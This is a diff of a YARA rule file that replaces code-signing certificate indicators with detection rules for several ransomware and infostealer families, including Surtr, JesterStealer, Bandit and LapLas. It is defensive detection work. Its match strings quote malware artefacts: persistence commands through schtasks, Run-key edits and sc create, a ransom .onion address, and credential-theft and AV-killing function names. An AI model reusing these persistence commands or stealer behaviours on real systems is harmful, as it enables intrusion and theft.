+		$n5 = "Content-Disposition: form-data; name=\"apiData\"" fullword ascii
+		$n6 = "Content-Disposition: form-data; name=\"data\"; filename=\"" fullword ascii
+		$n7 = "Content-Disposition: form-data; name=\"tid\"" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "OOO Yandex" and pe.signatures[i].serial=="37:69:81:5a:97:a8:fb:41:1e:00:52:82:b3:78:78:e3")
+		uint16(0)==0x5a4d and (2 of ($xn*) or 6 of ($s*) or 6 of ($n*) or (1 of ($xn*) and 4 of them ) or ($pdb and 4 of them ) or (3 of ($s*) and 3 of ($n*)))
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_3B007314844B114C61Bc156A0609A286 : FILE
+rule DITEKSHEN_MALWARE_Win_Surtr : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects Surtr ransomware. Ransom note is similar to LockFile"
 		author = "ditekSHen"
-		id = "bb68c2fc-2389-5fb8-96f0-5731f008fd3c"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "7a31415d-5c03-5537-9adb-65e637f9fa0e"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L5682-L5693"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L9374-L9396"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "f6f4e551a9be96f43a81e4da69f7b312dbdc16da17659a00a3486543a9c078e9"
+		logic_hash = "a8db5588079d471d8904f0444973973a0c01dbec1ccbe3d43a34d41a0dde495d"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "52ae9fdda7416553ab696388b66f645e07e753cd"
-		importance = 20
+
+	strings:
+		$s1 = "<title>SurtrRansomware</title>" ascii
+		$s2 = "<HTA:APPLICATION ID=\"SurtrRansomware\"" ascii
+		$s3 = "APPLICATIONNAME=\"SurtrRansomware\"" ascii
+		$s4 = "src=\"data:image/jpeg; base64,/9j/4AAQSkZJRgABAQEAYABgAAD/2wCEAAgICAgJCAkKCgkNDgwODRMREBARExwUFhQWFBwrGx8bGx8bKyYuJSMlLiZENS8v" ascii
+		$s5 = "4rbgxisigb4pxnloxzc265rmzaj7fslrhyouegtrph2a7xhh55r6xaid.onion" ascii
+		$s6 = "schtasks /CREATE /SC ONLOGON /TN svchos" wide
+		$s7 = "reg add HKEY_CURRENT_USER\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\\ /v \"svchos" ascii
+		$s8 = "reg add HKEY_CURRENT_USER\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\ /v \"svchos" ascii
+		$s9 = "SURTR_README.txt" wide
+		$s10 = "surtr-decrypt.top" ascii
+		$s11 = /(Public|Private|ID)_DATA\.surt/ wide
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "SATURDAY CITY LIMITED" and pe.signatures[i].serial=="3b:00:73:14:84:4b:11:4c:61:bc:15:6a:06:09:a2:86")
+		uint16(0)==0x5a4d and 4 of them
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_262Ca7Ae19D688138E75932832B18F9D : FILE
+rule DITEKSHEN_MALWARE_Win_Udprat : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects UDPRat"
 		author = "ditekSHen"
-		id = "891717e4-502f-5820-903c-3d9f2751a9d3"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "938fc9fd-4f08-5c23-8583-06083d2efe59"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L5695-L5706"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L9398-L9413"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "0e6e75206bea63856e4ab07ff9b1220448f3cad6d845ae09703b9e836015520d"
+		logic_hash = "4606b304d179148c6e44a0a8329675f2823f862a0944284cb646e5910659ea7c"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "c5d34eb26bbb3fcb274f9e9cb37f5ae6612747a1"
-		importance = 20
+
+	strings:
+		$s1 = "\\code\\UDP\\Client\\" ascii
+		$s2 = "ssdp:discover" ascii
+		$s3 = ": Device:" ascii
+		$s4 = "for the SNMP U encountered" ascii
+		$s5 = "privat:InternetGatewayelink" fullword ascii
+		$s6 = "schemas A jet error was" ascii
+		$s7 = "msidentity" fullword ascii
+		$s8 = "microsoftonliser-based Securi" ascii
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Bisoyetutu Ltd Ltd" and pe.signatures[i].serial=="26:2c:a7:ae:19:d6:88:13:8e:75:93:28:32:b1:8f:9d")
+		uint16(0)==0x5a4d and 5 of them
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_6B0008Bbd5Eb53F5D9E616C3Ed00000008Bbd5 : FILE
+rule DITEKSHEN_MALWARE_Win_Jesterstealer : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects JesterStealer"
 		author = "ditekSHen"
-		id = "51e670b5-a679-52ef-9c07-5a2bd21f8a20"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "7b07061f-97a4-5158-8084-46ccf212f6be"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L5708-L5719"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L9415-L9435"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "185334d7f484585cd88a1d89516f805d0248234a61153f8a38cc78b52d4bd764"
+		logic_hash = "c84df5d3ad2bc7a75a11c07995cc034c2a92b2f6f6f6943288add9c44c57bf6d"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "a24cff3a026dc6b30fb62fb01dbda704eb07164f"
-		importance = 20
+
+	strings:
+		$s1 = /\[(Credman|Networks|Screenshot|Vault)\]\s\{0\}/ fullword wide
+		$s3 = "encoding=\"base64\"" fullword wide
+		$s4 = "/json/list" fullword wide
+		$s5 = "/L1ghtM4n/TorProxy/" ascii wide
+		$s6 = "<EnumerateCredentials>" ascii
+		$s7 = "<EnumerateBrowsers>" ascii
+		$s8 = "<PerformSelfDestruct>" ascii
+		$s9 = "<get_GrabberCount>" ascii
+		$s10 = "AnalyzeData" fullword ascii
+		$s11 = "CheckCard" fullword ascii
+		$s12 = "CreateGrabberZipPath" fullword ascii
+		$s13 = "Jester" fullword ascii
+		$s14 = /Stealer\.(Recovery|Grabber|Investigation)\./ ascii
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "microsoft.com" and pe.signatures[i].serial=="6b:00:08:bb:d5:eb:53:f5:d9:e6:16:c3:ed:00:00:00:08:bb:d5")
+		uint16(0)==0x5a4d and 5 of them
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_6Abc3555Becca0Bc4B6987Ccc2Ea42B5 : FILE
+rule DITEKSHEN_MALWARE_Win_Soranostealer : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects SoranoStealer / HogGrabber. Available on Github: /Alexuiop1337/SoranoStealer"
 		author = "ditekSHen"
-		id = "b3ced8b8-ec42-56e4-8a3e-9cb7f6845b6f"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "2fc40a73-5f28-5b5c-938a-35e8336e1d11"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L5721-L5732"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L9437-L9461"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "76d4895f805a6638549c2d3b01a53873156e142d741b1fc2ccc0b18971b275a7"
+		logic_hash = "27c9d6bf3f40f3d41c35975e856671fafcd4a0a8143b3bcbdff61c1fb28a37ab"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "a36c75dd80d34020df5632c2939e82d39d2dca64"
-		importance = 20
+
+	strings:
+		$x1 = "OiCuntJollyGoodDayYeHavin_" ascii
+		$x2 = { 00 56 4d 50 72 6f 74 65 63 74 00 52 65 61 63 74
+                6f 72 00 64 65 34 66 75 63 6b 79 6f 75 00 42 61
+                62 65 6c 4f 62 66 75 73 63 61 74 6f 72 41 74 74
+                72 69 62 75 74 65 00 43 72 79 74 70 6f 4f 62 66
+                75 73 63 61 74 6f 72 00 }
+		$x3 = { 00 4f 62 66 75 73 63 61 74 65 64 42 79 47 6f 6c
+                69 61 74 68 00 42 65 64 73 2d 50 72 6f 74 6f 72 00 }
+		$s1 = ".Binaries.whysosad" ascii
+		$s2 = "Adminstrator permissons are required" wide
+		$s3 = "12:03:33:4A:04:AF" fullword wide
+		$s4 = "RemoveEXE" fullword ascii
+		$s5 = "$340becfa-1688-4c32-aa49-30fdb4005e4b" fullword ascii
+		$s6 = "$99cffbcc-6ad7-4d32-bd1f-450967cf4a6b" fullword ascii
+		$s7 = "\"cam\": " ascii
+		$s8 = " - 801858595527371999762718088" fullword ascii
+		$s9 = "  - 96188142294460126639341306" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Jwkwjaagoh" and pe.signatures[i].serial=="6a:bc:35:55:be:cc:a0:bc:4b:69:87:cc:c2:ea:42:b5")
+		uint16(0)==0x5a4d and ( all of ($x*) or (2 of ($x*) and 3 of ($s*)) or 5 of ($s*))
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_3C5Fc5D02273F297404F7B9306E447Bb : FILE
+rule DITEKSHEN_MALWARE_Win_Gloomanestealer : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects GloomaneStealer"
 		author = "ditekSHen"
-		id = "2dd0805d-f43e-5aec-a0d9-98fc9fa6c088"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "6e3c7e8f-4b75-5198-aa41-076f29aac227"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L5734-L5745"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L9463-L9479"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "e73fd0a38c76783e3110abe82411cc3d22fbbc95684667dc754618f590f29970"
+		logic_hash = "36aa9f863efb8172ed6449932169e6cb26cdeedd84bc734e09a8116a9c7774ac"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "3fa4a6efd5e443627e9e32e6effe04c991f4fe8f"
-		importance = 20
+
+	strings:
+		$x1 = "=GLOOMANE STEALER=" wide
+		$x2 = "Maded by GLOOMANE" wide
+		$s1 = "\\44CALIBER" ascii
+		$s2 = "Ethernet()" fullword wide
+		$s3 = ":spy: NEW LOG FROM" wide
+		$s4 = ":eye: IP:" wide
+		$s5 = ":file_folder: Grabbed Files" wide
+		$s6 = "$ebc25cf6-9120-4283-b972-0e5520d0000C" fullword ascii
+		$s7 = "$3b0e2d3d-3d66-42bb-8f9c-d6e188f359ae" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Wirpool Soft" and pe.signatures[i].serial=="3c:5f:c5:d0:22:73:f2:97:40:4f:7b:93:06:e4:47:bb")
+		uint16(0)==0x5a4d and ( all of ($x*) or (1 of ($x*) and 3 of ($s*)) or 5 of ($s*))
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_7D36Cbb64Bc9Add17Ba71737D3Ecceca : FILE
+rule DITEKSHEN_MALWARE_Win_Lockdown : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects Lockdown / cantopen ransomware"
 		author = "ditekSHen"
-		id = "23786dd4-2ad2-5d86-a0d2-46bc5f1825eb"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "793df99d-016a-5f96-9ff9-76d3f08e0dd2"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L5763-L5774"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L9481-L9494"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "070600994d7e137a769432e7c5995dac90f01cbce2c50de4c5baecea5d556baf"
+		logic_hash = "a9bc2f514730703f3edf78a61f1bc357eee12b3289fc7491197c3b885286ca7e"
 		score = 75
-		quality = 75
+		quality = 73
 		tags = "FILE"
-		thumbprint = "a7287460dcf02e38484937b121ce8548191d4e64"
-		importance = 20
+
+	strings:
+		$s1 = "BgIAAACkAABSU0E" wide
+		$s2 = ".cantopen" fullword wide
+		$s3 = "\\HELP_DECRYPT_YOUR_FILES.txt" wide
+		$s4 = "SALT" fullword wide
+		$s5 = "$4e677664-9a63-458e-a365-deb792509557" fullword ascii
+		$s6 = "CreateEncryptor" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "LTD SERVICES LIMITED" and pe.signatures[i].serial=="7d:36:cb:b6:4b:c9:ad:d1:7b:a7:17:37:d3:ec:ce:ca")
+		uint16(0)==0x5a4d and 4 of them
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_00Df7139E106Dbb68Dfe4De97D862Af708 : FILE
+rule DITEKSHEN_MALWARE_Win_Unamedstealer : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects unknown infostealer. Observed as 2nd stage and injects into .NET AppLaunch.exe"
 		author = "ditekSHen"
-		id = "8da7c163-02a7-571e-a995-c1d500d90b5b"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "cb3d575b-3d53-5b89-abc1-3b3857ec9f46"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L5776-L5787"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L9496-L9512"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "503ff5f570191ac61a20c2a6ffa5117d5c3ed632c04c4a02c710644c18a494d0"
+		logic_hash = "84f4ac7489a0d522763f69ce55f816642a8511dc4b9698ce47c983020a2b7bea"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "4ac627227a25f0914f3a73ff85d90b45da589329"
-		importance = 20
+
+	strings:
+		$s1 = "HideMelt" fullword ascii
+		$s2 = ".Implant" ascii
+		$s3 = "SetUseragent" fullword ascii
+		$s4 = "SendReport" fullword ascii
+		$s5 = "cookiesList" fullword ascii
+		$s6 = "WriteAppsList" fullword ascii
+		$s7 = "Timeout /T 2 /Nobreak" fullword wide
+		$s8 = "Directory not exists" wide
+		$s9 = "### {0} ### ({1})" wide
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "zPfPJHDCzusZRYQYJZGZoFfZmvYtSlFXDPQKtoQzc" and pe.signatures[i].serial=="00:df:71:39:e1:06:db:b6:8d:fe:4d:e9:7d:86:2a:f7:08")
+		uint16(0)==0x5a4d and 6 of them
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_00D4F9Fc08895654F8Bde8D1Cc26Eff015 : FILE
+rule DITEKSHEN_MALWARE_Win_Zxshell_Loader : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects ZXShell kernel driver loader"
 		author = "ditekSHen"
-		id = "d32f82a7-36dd-555f-87cf-28e520a3916f"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "c55c718b-6af3-5d3b-aa1c-369319fca603"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L5789-L5800"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L9514-L9562"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "dfc90ce9c1d8a0fad9c50f61c90c4f7b00b6890ee45d218417f4a7196c3d1c18"
+		logic_hash = "b20350af231e0c329423c71d8f099305ed447d2ffcb7a533b7531dc9f5357b93"
 		score = 75
-		quality = 75
+		quality = 57
 		tags = "FILE"
-		thumbprint = "f24af3a784c2316b42854c5853b53d9e556295f7"
-		importance = 20
+		hash1 = "a6020794bd6749e0765966cd65ca6d5511581f47cc2b38e41cb1e7fddaa0b221"
+
+	strings:
+		$s1 = "KillAvpProcess" ascii wide nocase
+		$s2 = "ProtectDllFile" ascii wide nocase
+		$s3 = "LoadSys" ascii wide nocase
+		$s4 = "CallDriver" ascii wide nocase
+		$s5 = "DoRVA" fullword ascii wide
+		$s6 = "TdiProxy" ascii
+		$s7 = "res.ini" fullword ascii
+		$s8 = "res.dat" fullword ascii
+		$s9 = "google64.p" fullword ascii
+		$s10 = "google32.p" fullword ascii
+		$s11 = "OneSelfKey" fullword ascii
+		$x1 = "antiscan" ascii
+		$x2 = "removeprocessnotify" ascii
+		$x3 = "setprocessnotify" ascii
+		$x4 = "antiantigp" ascii
+		$x5 = "hideproc" ascii
+		$x6 = "hidekey" ascii
+		$x7 = "hidefile" ascii
+		$x8 = "sc create %s binpath= \"%%SystemRoot%%\\System32\\svchost.exe -k %s\" type= share start= auto" fullword ascii
+		$m1 = "St4rtServ1ce" ascii
+		$m2 = "ch3ck dr1ver failed" ascii
+		$m3 = "L0ad dr1ver failed" ascii
+		$m4 = "Write Dr1ver Failed" ascii
+		$m5 = "over writed succ3ssfully" ascii
+		$m6 = "can k1ll the pr0cessId" ascii
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "kfbdAfVnDMDc" and pe.signatures[i].serial=="00:d4:f9:fc:08:89:56:54:f8:bd:e8:d1:cc:26:ef:f0:15")
+		uint16(0)==0x5a4d and (3 of ($m*) or 5 of ($s*) or 5 of ($x*) or (3 of ($s*) and 3 of ($x*)) or (2 of ($s*) and 1 of ($x*) and 1 of ($m*)) or (pe.exports("KillAvpProcess") and pe.exports("ProtectDllFile") and pe.exports("LoadSys")) or (3 of them and (pe.exports("KillAvpProcess") or pe.exports("ProtectDllFile") or pe.exports("LoadSys") or pe.exports("CallDriver") or pe.exports("DoRVA"))))
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_0393Be7Fd785Ba0E3223A73B15Ee6736 : FILE
+rule DITEKSHEN_MALWARE_Win_Bandit : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects Bandit Infostealer"
 		author = "ditekSHen"
-		id = "852c3c5c-e20c-5e45-acee-7f5a5a35fa24"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "06866232-bd40-5bbc-9f08-3892193b5f36"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L5802-L5813"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L9564-L9600"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "6805b2d04f8b89b9d4db8d47d74e83b6cdd7e778b038883fc8d3ef2e1b157070"
+		logic_hash = "e557f5a928b5da90f3ec878d6d8615a2d8b5f33e97954cd3278044f76b543386"
 		score = 75
-		quality = 75
+		quality = 57
 		tags = "FILE"
-		thumbprint = "f50fc532839ca7e63315e468c493512db8b7ee83"
-		importance = 20
+
+	strings:
+		$x1 = "@Banditshopbot" ascii
+		$x2 = "BANDIT STEALER" ascii
+		$x3 = "Banditstealer" ascii
+		$n1 = "bandit/browsers." ascii
+		$n2 = "bandit/crypto." ascii
+		$n3 = "bandit/decrypt." ascii
+		$n4 = "bandit/messenger." ascii
+		$n5 = "bandit/userdata." ascii
+		$n6 = "bandit/utils." ascii
+		$f1 = "main.sendZipToTelegram" fullword ascii
+		$f2 = "main.killProcessHoldingFileHandle" fullword ascii
+		$f3 = "main.killProcessByName" fullword ascii
+		$f4 = "main.killProcessesHoldingFile" fullword ascii
+		$f5 = "main.deleteDir" fullword ascii
+		$f6 = "main.deleteUserDataDirs" fullword ascii
+		$path = /bandit\/(browsers|common|crypto|messenger|userdata|utils)\/(browsers|common|crypto|messenger|userdata|utils)\.go/ ascii
+		$m1 = "banditbot" ascii wide nocase
+		$m2 = "blackListedIPS = [" ascii wide nocase
+		$m3 = "blackListedPCNames = [" ascii wide nocase
+		$m4 = "blackListedMacs = [" ascii wide nocase
+		$m5 = "blacklisted_hwids = [" ascii wide nocase
+		$m6 = "blacklisted_users = [" ascii wide nocase
+		$m7 = "blacklisted_processes = [" ascii wide nocase
+		$s1 = "User-AgentVirtualBox" ascii
+		$s2 = "%s%sBinanceChainWallet" ascii
+		$s3 = "coinbaseWalletcontent-lengthdata" ascii
+		$s4 = "coinbaseWalletExtensioncommand" ascii
+		$s5 = "\\s+pid:\\s+(\\d+)\\s+" ascii
+		$s6 = "/user:Administrator" ascii
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "FZaKundypKakCIvoMBPpTnwIDUJM" and pe.signatures[i].serial=="03:93:be:7f:d7:85:ba:0e:32:23:a7:3b:15:ee:67:36")
+		uint16(0)==0x5a4d and (2 of ($x*) or 4 of ($n*) or 5 of ($f*) or ($path and (1 of ($n*) or 1 of ($f*))) or (1 of ($x*) and (1 of ($n*) or 1 of ($f2*))) or 6 of ($m*) or ( all of ($s*)))
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_008B7369B2F0C313634A1C1Dfc4A828A54 : FILE
+rule DITEKSHEN_MALWARE_Win_Laplas : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects LapLas Infostealer"
 		author = "ditekSHen"
-		id = "e4da4da0-68f1-548b-b307-e11ad6def316"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "bf2b0183-2b21-535a-896c-250fa448d090"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L5815-L5826"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L9602-L9630"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "857eaa56ff5106e3808750b8833fd33a328b53a04f6fd2939aca30dbc6048329"
+		logic_hash = "e4a1f39a539782118db9c4ab89d03e359420397ef970165389cc79e7ea0952b3"
 		score = 75
-		quality = 75
+		quality = 50
 		tags = "FILE"
-		thumbprint = "1cad5864bcc0f6aa20b99a081501a104b633dddd"
-		importance = 20
+		clamav_sig1 = "MALWARE.Win.LapLas-DotNET"
+		clamav_sig2 = "MALWARE.Win.LapLas-GoLang"
+
+	strings:
+		$c1 = "/bot/" ascii
+		$c2 = "key=" ascii
+		$f1 = "main.isRunning" fullword ascii
+		$f2 = "main.writePid" fullword ascii
+		$f3 = "main.isStartupEnabled" fullword ascii
+		$f4 = "main.enableStartup" fullword ascii
+		$f5 = "main.waitOpenClipboard" fullword ascii
+		$f6 = "main.clipboardWrite" fullword ascii
+		$f7 = "main.setOnline" fullword ascii
+		$f8 = "main.getRegex" fullword ascii
+		$v2_1 = "{0}/bot/{1}?{2}" wide
+		$v2_2 = /\{0\}\\\{1\}\.(exe|pid)/ wide
+		$v2_3 = "schtasks /create /tn" wide
+		$v2_4 = "SetOnline" fullword ascii
+		$v2_5 = "IsAutoRunInstance" fullword ascii
+		$v2_6 = "GetNewAddress" fullword ascii
+		$v2_7 = "RefreshRegex" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "LFpKdFUgpGKj" and pe.signatures[i].serial=="00:8b:73:69:b2:f0:c3:13:63:4a:1c:1d:fc:4a:82:8a:54")
+		uint16(0)==0x5a4d and (( all of ($c*) and 5 of ($f*)) or (1 of ($c*) and 7 of ($f*)) or (6 of ($v2*)))
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_59A57E8Ba3Dcf2B6F59981Fda14B03 : FILE
+rule DITEKSHEN_MALWARE_Win_Mystic : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
-		author = "ditekSHen"
-		id = "07e68e53-ffb8-5f12-ad0e-cf64a3c9cb72"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		description = "Hunt for Mystic Infostealer"
+		author = "ditekSHen"
+		id = "959eceab-0a2c-5361-b8f4-6739033ffae5"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L5828-L5841"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L9632-L9646"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "1eeeef14502daafb303d1c09d8e55fb4df57a6bf250d1adc7e53862f2f5d5824"
+		logic_hash = "26e0b85141df818d70124c0b19b5b6a05ac24ae679724d7a8ad94415a6462d17"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "e201821e152d7ae86078c4e6a3a3a1e1c5e29f9a"
-		hash1 = "d9ace2d97010316fdb0f416920232e8d4c59b01614633c4d5def79abb15d0175"
-		hash2 = "80e363dee08f4f77e5a061c10f18503c7ce802818cf6bb1c8a16da0ba3877b01"
-		importance = 20
+
+	strings:
+		$s1 = "LaStFiLe:)" ascii wide
+		$s2 = "LaStPrOcEsS:)" ascii wide
+		$s3 = "credit_cards" ascii wide
+		$s4 = "number_of_processors" ascii wide
+		$s5 = "computername" ascii wide
+		$p1 = "G:\\Projects\\Python\\morpher\\" ascii wide
+		$p2 = /G:\\Projects\\stealer\\.{15}\\Release\\.{5,25}\.pdb/ ascii wide
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Medium LLC" and pe.signatures[i].serial=="59:a5:7e:8b:a3:dc:f2:b6:f5:99:81:fd:a1:4b:03")
+		( uint16(0)==0x5a4d and (4 of ($s*) or (1 of ($p*) and 3 of ($s*)))) or ( all of ($s*))
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_00C79F817F082986Bef3209F6723C8Da97 : FILE
+rule DITEKSHEN_MALWARE_Linux_Buhti : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects Buhti Ransomware"
 		author = "ditekSHen"
-		id = "2e831cd7-6992-5b5f-ad84-52590f3cc65a"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "a50b8c34-e9e2-5466-80a1-b0ab805c68be"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
